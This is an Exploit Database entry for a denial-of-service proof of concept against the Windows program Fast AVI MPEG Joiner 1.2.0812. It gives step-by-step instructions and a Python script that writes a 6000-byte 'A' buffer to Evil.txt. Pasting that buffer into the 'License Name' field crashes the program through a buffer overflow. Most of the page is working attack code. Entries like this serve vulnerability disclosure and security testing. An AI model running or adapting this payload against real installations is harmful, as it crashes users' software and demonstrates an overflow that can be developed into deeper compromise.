



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Fast AVI MPEG Joiner - 'License Name' Denial of Service (PoC)

EDB-ID:

46929

CVE:

N/A

EDB Verified: 

Author:

[ACHILLES](#)

Type:

[DOS](#)

Exploit:  

Platform:

[WINDOWS](#)

Date:

2019-05-24

Vulnerable App: 



 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING

```
# Exploit Title: Fast AVI MPEG Joiner Dos Exploit
# Date: 24.5.2019
# Vendor Homepage:http://www.alloksoft.com
# Software Link: http://www.alloksoft.com/fast_avimpegjoiner.exe
# Exploit Author: Achilles
# Tested Version: 1.2.0812
# Tested on: Windows 7 x64 Sp1
#           Windows XP x86 Sp3
```

```
# 1.- Run python code :Joiner.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open Fast AVI MPEG Joiner.exe
# 4.- Paste the content of EVIL.txt into the Field: 'License Name'
# 5.- Click 'Register'and you will see a crash.
```

```
#!/usr/bin/env python
buffer = "\x41" * 6000

try:
    f=open("Evil.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(buffer)
    f.write(buffer)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
```

Tags: [Denial of Service \(DoS\)](#)
[Buffer Overflow](#)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.